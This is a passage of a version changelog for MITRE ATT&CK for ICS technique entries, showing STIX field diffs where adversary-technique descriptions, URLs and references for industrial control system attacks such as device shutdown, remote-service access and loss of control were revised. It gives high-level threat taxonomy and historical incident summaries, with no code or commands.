| external_references | {'source_name': 'PLCgurus PLC Basic 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may forcibly restart or shutdown a device in the | t | 1 | Adversaries may forcibly restart or shutdown a device in an |
| > | ICS environment to disrupt and potentially cause adverse ef | > | ICS environment to disrupt and potentially negatively impact | ||
| > | fects on the physical processes it helps to control. Methods | > | physical processes. Methods of device restart and shutdown | ||
| > | of device restart and shutdown exist as built-in, standard | > | exist in some devices as built-in, standard functionalities. | ||
| > | functionalities. This can include interactive device web int | > | These functionalities can be executed using interactive dev | ||
| > | erfaces, CLIs, and network protocol commands, among others. | > | ice web interfaces, CLIs, and network protocol commands. Une | ||
| > | Device restart or shutdown may also occur as a consequence o | > | xpected restart or shutdown of control system devices may pr | ||
| > | f changing a device into an alternative mode of operation fo | > | event expected response functions happening during critical | ||
| > | r testing or firmware loading. Unexpected restart or shutdo | > | states. A device restart can also be a sign of malicious dev | ||
| > | wn of control system devices may contribute to impact, by pr | > | ice modifications, as many updates require a shutdown in ord | ||
| > | eventing expected response functions from activating and bei | > | er to take effect. | ||
| > | ng received in critical states. This can also be a sign of m | ||||
| > | alicious device modification, as many updates require a shut | ||||
| > | down in order to take affect. (Citation: Research - Research | ||||
| > | - Taxonomy Cyber Attacks on SCADA) For example, DNP3's fun | ||||
| > | ction code 0x0D can reset and reconfigure DNP3 outstations b | ||||
| > | y forcing them to perform a complete power cycle. (Citation: | ||||
| > | Research - Research - Taxonomy Cyber Attacks on SCADA) In | ||||
| > | the 2015 attack on the Ukranian power grid, the adversaries | ||||
| > | gained access to the control networks of three different ene | ||||
| > | rgy companies. The adversaries scheduled disconnects for the | ||||
| > | uniterruptable power supply (UPS) systems so that when powe | ||||
| > | r was disconnected from the substations, the devices would s | ||||
| > | hut down and service could not be recovered. (Citation: Ukra | ||||
| > | ine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uniterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T816 | https://collaborate.mitre.org/attackics/index.php/Technique/T0816 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise and gain control of an engineerin | t | 1 | Adversaries may compromise and gain control of an engineerin |
| > | g workstation as an Initial Access technique into the contro | > | g workstation for Initial Access into the control system env | ||
| > | l system environment. Access to an engineering workstation m | > | ironment. Access to an engineering workstation may occur thr | ||
| > | ay occur as a result of remote access or by physical means, | > | ough or physical means, such as a Valid Accounts with privil | ||
| > | such as a person with privileged access or infection by remo | > | eged access or infection by removable media. A dual-homed en | ||
| > | vable media. A dual-homed engineering workstation may allow | > | gineering workstation may allow the adversary access into mu | ||
| > | the adversary access into multiple networks. For example, un | > | ltiple networks. For example, unsegregated process control, | ||
| > | segregated process control, safety system, or information sy | > | safety system, or information system networks. An Engineerin | ||
| > | stem networks. An Engineering Workstation is designed as a | > | g Workstation is designed as a reliable computing platform t | ||
| > | reliable computing platform that configures, maintains, and | > | hat configures, maintains, and diagnoses control system equi | ||
| > | diagnoses control system equipment and applications. Compro | > | pment and applications. Compromise of an engineering worksta | ||
| > | mise of an engineering workstation may provide access to and | > | tion may provide access to, and control of, other control sy | ||
| > | control of other control system applications and equipment. | > | stem applications and equipment. In the Maroochy attack, the | ||
| > | In the Maroochy attack, the adversary utilized a computer | > | adversary utilized a computer, possibly stolen, with propri | ||
| > | , possibly stolen, with proprietary engineering software to | > | etary engineering software to communicate with a wastewater | ||
| > | communicate with a wastewater system. | > | system. | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 16:17:26.506000+00:00 |
| description | Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. | Adversaries may compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T818 | https://collaborate.mitre.org/attackics/index.php/Technique/T0818 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to leverage Application Program Inte | t | 1 | Adversaries may attempt to leverage Application Program Inte |
| > | rfaces (APIs) used for communication between control softwar | > | rfaces (APIs) used for communication between control softwar | ||
| > | e and the hardware. Specific functionality is often coded in | > | e and the hardware. Specific functionality is often coded in | ||
| > | to APIs which can be called by software to engage specific f | > | to APIs which can be called by software to engage specific f | ||
| > | unctions on a device or other software, such as <span class= | > | unctions on a device or other software. | ||
| > | "smw-format list-format "><span class="smw-row"><span class= | ||||
| > | "smw-field"><span class="smw-value">Change Program State</sp | ||||
| > | an></span></span></span> of a program on a PLC. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC. | Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T871 | https://collaborate.mitre.org/attackics/index.php/Technique/T0871 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to exploit public-facing application | t | 1 | Adversaries may leverage weaknesses to exploit internet-faci |
| > | s to leverage weaknesses on Internet-facing computer systems | > | ng software for initial access into an industrial network. I | ||
| > | , programs, or assets in order to cause unintended or unexpe | > | nternet-facing software may be user applications, underlying | ||
| > | cted behavior. These public-facing applications may include | > | networking implementations, an assets operating system, wea | ||
| > | user interfaces, software, data, or commands. In particular, | > | k defenses, etc. Targets of this technique may be intentiona | ||
| > | a public-facing application in the IT environment may provi | > | lly exposed for the purpose of remote management and visibil | ||
| > | de adversaries an interface into the OT environment. ICS-C | > | ity. An adversary may seek to target public-facing applicati | ||
| > | ERT analysis has identified the probable initial infection v | > | ons as they may provide direct access into an ICS environmen | ||
| > | ector for systems running GE’s Cimplicity HMI with a direct | > | t or the ability to move into the ICS network. Publicly expo | ||
| > | connection to the Internet. (Citation: ICS CERT 14-281) | > | sed applications may be found through online tools that scan | ||
| > | the internet for open ports and services. Version numbers f | ||||
| > | or the exposed application may provide adversaries an abilit | ||||
| > | y to target specific known vulnerabilities. Exposed control | ||||
| > | protocol or remote access ports found in Commonly Used Port | ||||
| > | may be of interest by adversaries. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet. (Citation: ICS CERT 14-281) | Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T819 | https://collaborate.mitre.org/attackics/index.php/Technique/T0819 |
Current version: 0.0
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 19:17:26.506000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T866 | https://collaborate.mitre.org/attackics/index.php/Technique/T0866 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external remote services as a point | t | 1 | Adversaries may leverage external remote services as a point |
| > | of initial access into your network. These services allow u | > | of initial access into your network. These services allow u | ||
| > | sers to connect to internal network resources from external | > | sers to connect to internal network resources from external | ||
| > | locations. Examples are VPNs, Citrix, and other access mecha | > | locations. Examples are VPNs, Citrix, and other access mecha | ||
| > | nisms. Remote service gateways often manage connections and | > | nisms. Remote service gateways often manage connections and | ||
| > | credential authentication for these services. (Citation: EAt | > | credential authentication for these services.(Citation: EAtt | ||
| > | tack External Remote Services) External remote services all | > | ack External Remote Services) External remote services allow | ||
| > | ow administration of a control system from outside the syste | > | administration of a control system from outside the system. | ||
| > | m. Often, vendors and internal engineering groups have acces | > | Often, vendors and internal engineering groups have access | ||
| > | s to external remote services to control system networks via | > | to external remote services to control system networks via t | ||
| > | the corporate network. In some cases, this access is enable | > | he corporate network. In some cases, this access is enabled | ||
| > | d directly from the internet. While remote access enables ea | > | directly from the internet. While remote access enables ease | ||
| > | se of maintenance when a control system is in a remote area, | > | of maintenance when a control system is in a remote area, c | ||
| > | compromise of remote access solutions is a liability. The a | > | ompromise of remote access solutions is a liability. The adv | ||
| > | dversary may use these services to gain access to and execut | > | ersary may use these services to gain access to and execute | ||
| > | e attacks against a control system network. Access to valid | > | attacks against a control system network. Access to valid ac | ||
| > | accounts is often a requirement. As they look for an entry | > | counts is often a requirement. As they look for an entry poi | ||
| > | point into the control system network, adversaries may begi | > | nt into the control system network, adversaries may begin se | ||
| > | n searching for existing point‐to‐point VPN implementations | > | arching for existing point‐to‐point VPN implementations at t | ||
| > | at trusted third party networks or through remote support em | > | rusted third party networks or through remote support employ | ||
| > | ployee connections where split tunneling is enabled. (Citati | > | ee connections where split tunneling is enabled.(Citation: U | ||
| > | on: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the | > | kraine15 - EISAC - 201603) In the Maroochy Attack, the adver | ||
| > | adversary was able to gain remote computer access to the sy | > | sary was able to gain remote computer access to the system o | ||
| > | stem over radio. The 2015 attack on the Ukranian power grid | > | ver radio. | ||
| > | showed the use of existing remote access tools within the e | ||||
| > | nvironment to access the control system network. The adversa | ||||
| > | ry harvested worker credentials, some of them for VPNs the g | ||||
| > | rid workers used to remotely log into the control system net | ||||
| > | works. (Citation: Ukraine15 - Zetter, Kim) (Citation: Ukrain | ||||
| > | e15 - EISAC - 201603) (Citation: Ukraine15 - ICSCERT) (Citat | ||||
| > | ion: Ukraine15 - Fireeye) The VPNs into these networks appea | ||||
| > | r to have lacked two‐factor authentication. (Citation: Ukrai | ||||
| > | ne15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. (Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks. (Citation: Ukraine15 - Zetter, Kim) (Citation: Ukraine15 - EISAC - 201603) (Citation: Ukraine15 - ICSCERT) (Citation: Ukraine15 - Fireeye) The VPNs into these networks appear to have lacked two‐factor authentication. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. |
| kill_chain_phases[0]['phase_name'] | lateral-movement-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T822 | https://collaborate.mitre.org/attackics/index.php/Technique/T0822 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'} | |
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to gain access to a machine via a Gr | t | 1 | Adversaries may attempt to gain access to a machine via a Gr |
| > | aphical User Interface (GUI) to enhance execution capabiliti | > | aphical User Interface (GUI) to enhance execution capabiliti | ||
| > | es. Access to a GUI allows a user to interact with a compute | > | es. Access to a GUI allows a user to interact with a compute | ||
| > | r in a more visual manner than a CLI. A GUI allows users to | > | r in a more visual manner than a CLI. A GUI allows users to | ||
| > | move a cursor and click on interface objects, with a mouse a | > | move a cursor and click on interface objects, with a mouse a | ||
| > | nd keyboard as the main input devices, as opposed to just us | > | nd keyboard as the main input devices, as opposed to just us | ||
| > | ing the keyboard. If physical access is not an option, then | > | ing the keyboard. If physical access is not an option, then | ||
| > | access might be possible via protocols such as VNC on Linux | > | access might be possible via protocols such as VNC on Linux- | ||
| > | -based and Unix-based operating systems, and RDP on Windows | > | based and Unix-based operating systems, and RDP on Windows o | ||
| > | operating systems. An adversary can use this access to execu | > | perating systems. An adversary can use this access to execut | ||
| > | te programs and applications on the target machine. In the | > | e programs and applications on the target machine. | ||
| > | 2015 attack on the Ukrainian power grid, the adversary utili | ||||
| > | zed the GUI of HMIs in the SCADA environment to open breaker | ||||
| > | s. (Citation: Ukraine15 - EISAC - 201603) Detection: Detect | ||||
| > | ion of execution through the GUI will likely lead to signifi | ||||
| > | cant false positives. Other factors should be considered to | ||||
| > | detect misuse of services that can lead to adversaries gaini | ||||
| > | ng access to systems through interactive remote sessions. | ||||
| > | Unknown or unusual process launches outside of normal behavi | ||||
| > | or on a particular system occurring through remote interacti | ||||
| > | ve sessions are suspicious. Collect and audit security logs | ||||
| > | that may indicate access to and use of Legitimate Credential | ||||
| > | s to access remote systems within the network. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers. (Citation: Ukraine15 - EISAC - 201603) Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network. | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T823 | https://collaborate.mitre.org/attackics/index.php/Technique/T0823 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access into industrial environments dir | t | 1 | Adversaries may gain access into industrial environments thr |
| > | ectly through systems exposed to the internet for remote acc | > | ough systems exposed directly to the internet for remote acc | ||
| > | ess rather than through External Remote Services. Minimal pr | > | ess rather than through External Remote Services. Internet A | ||
| > | otections provided by these devices such as password authent | > | ccessible Devices are exposed to the internet unintentionall | ||
| > | ication may be targeted and compromised. (Citation: Bowman D | > | y or intentionally without adequate protections. This may al | ||
| > | am - ICS-CERT) In the case of the Bowman dam incident, adve | > | low for adversaries to move directly into the control system | ||
| > | rsaries leveraged access to the dam control network through | > | network. Access onto these devices is accomplished without | ||
| > | a cellular modem. Access to the device was protected by pass | > | the use of exploits, these would be represented within the E | ||
| > | word authentication, although the application was vulnerable | > | xploit Public-Facing Application technique. Adversaries may | ||
| > | to brute forcing. (Citation: Bowman Dam - wall street jou | > | leverage built in functions for remote access which may not | ||
| > | rnal) (Citation: Bowman Dam - Times) (Citation: Bowman Dam - | > | be protected or utilize minimal legacy protections that may | ||
| > | ICS-CERT) | > | be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of | ||
| > | the Bowman dam incident, adversaries leveraged access to th | ||||
| > | e dam control network through a cellular modem. Access to th | ||||
| > | e device was protected by password authentication, although | ||||
| > | the application was vulnerable to brute forcing.(Citation: B | ||||
| > | owman Dam - ICS-CERT)(Citation: Bowman Dam - wall street jou | ||||
| > | rnal)(Citation: owman Dam - Times) In Trend Micro’s manufact | ||||
| > | uring deception operations adversaries were detected leverag | ||||
| > | ing direct internet access to an ICS environment through the | ||||
| > | exposure of operational protocols such as Siemens S7, Omron | ||||
| > | FINS, and EtherNet/IP, in addition to misconfigured VNC acc | ||||
| > | ess.(Citation: Trend Micro Honeypot) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. (Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing. (Citation: Bowman Dam - wall street journal) (Citation: Bowman Dam - Times) (Citation: Bowman Dam - ICS-CERT) | Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T883 | https://collaborate.mitre.org/attackics/index.php/Technique/T0883 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Trend Micro Honeypot', 'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'} | |
| x_mitre_platforms | Control Server | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server | |
| x_mitre_platforms | Safety Instrumented System/Protection Relay |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may copy files from one system to another to sta | t | 1 | Adversaries may transfer tools or other files from one syste |
| > | ge adversary tools or other files over the course of an oper | > | m to another to stage adversary tools or other files over th | ||
| > | ation. (Citation: EAttack Remote File Copy) Copying of files | > | e course of an operation. (Citation: EAttack Lateral Tool Tr | ||
| > | may also be performed laterally between internal victim sys | > | ansfer) Copying of files may also be performed laterally bet | ||
| > | tems to support Lateral Movement with remote Execution using | > | ween internal victim systems to support Lateral Movement wit | ||
| > | inherent file sharing protocols such as file sharing over S | > | h remote Execution using inherent file sharing protocols suc | ||
| > | MB to connected network shares. (Citation: EAttack Remote Fi | > | h as file sharing over SMB to connected network shares. (Cit | ||
| > | le Copy) In control systems environments, malware may use S | > | ation: EAttack Remote File Copy) In control systems environ | ||
| > | MB and other file sharing protocols to move laterally throug | > | ments, malware may use SMB and other file sharing protocols | ||
| > | h industrial networks. | > | to move laterally through industrial networks. | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 16:19:26.506000+00:00 |
| name | Remote File Copy | Lateral Tool Transfer |
| description | Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Remote File Copy) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. | Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T867 | https://collaborate.mitre.org/attackics/index.php/Technique/T0867 |
| external_references[1]['source_name'] | EAttack Remote File Copy | EAttack Lateral Tool Transfer |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Remote File Copy. Retrieved October 27, 2019. | Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019. |
| external_references[1]['url'] | https://attack.mitre.org/techniques/T1105/ | https://attack.mitre.org/techniques/T1570/ |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may seek to achieve a sustained loss of control | t | 1 | Adversaries may seek to achieve a sustained loss of control |
| > | or a runaway condition in which operators cannot issue any c | > | or a runaway condition in which operators cannot issue any c | ||
| > | ommands even if the malicious interference has subsided. (Ci | > | ommands even if the malicious interference has subsided.(Cit | ||
| > | tation: Reference - Corero) (Citation: Reference - SANS - 20 | > | ation: Reference - Corero)(Citation: Reference - SANS - 2015 | ||
| > | 1510) (Citation: Reference - RIoT) Contributors: Dragos Thr | > | 10)(Citation: Reference - RIoT) The German Federal Office fo | ||
| > | eat Intelligence | > | r Information Security (BSI) reported a targeted attack on a | ||
| > | steel mill in its 2014 IT Security Report.(Citation: BSI IT | ||||
| > | Security Situation 2014) These targeted attacks affected in | ||||
| > | dustrial operations and resulted in breakdowns of control sy | ||||
| > | stem components and even entire installations. As a result o | ||||
| > | f these breakdowns, massive impact resulted in damage and un | ||||
| > | safe conditions from the uncontrolled shutdown of a blast fu | ||||
| > | rnace. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Contributors: Dragos Threat Intelligence | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T827 | https://collaborate.mitre.org/attackics/index.php/Technique/T0827 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BSI IT Security Situation 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3'} |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause loss of safety whether on purpose or a | t | 1 | Adversaries may compromise safety system functions designed |
| > | s a consequence of actions taken to accomplish an operation. | > | to maintain safe operation of a process when unacceptable or | ||
| > | The loss of safety can describe a physical impact and threa | > | dangerous conditions occur. Safety systems are often compos | ||
| > | t, or the potential for unsafe conditions and activity in te | > | ed of the same elements as control systems but have the sole | ||
| > | rms of control systems environments, devices, or processes. | > | purpose of ensuring the process fails in a predetermined sa | ||
| > | For instance, an adversary may issue commands or influence a | > | fe manner. Many unsafe conditions in process control happen | ||
| > | nd possibly inhibit safety mechanisms that allow the injury | > | too quickly for a human operator to react to. Speed is criti | ||
| > | of and possible loss of life. This can also encompass scenar | > | cal in correcting these conditions to limit serious impacts | ||
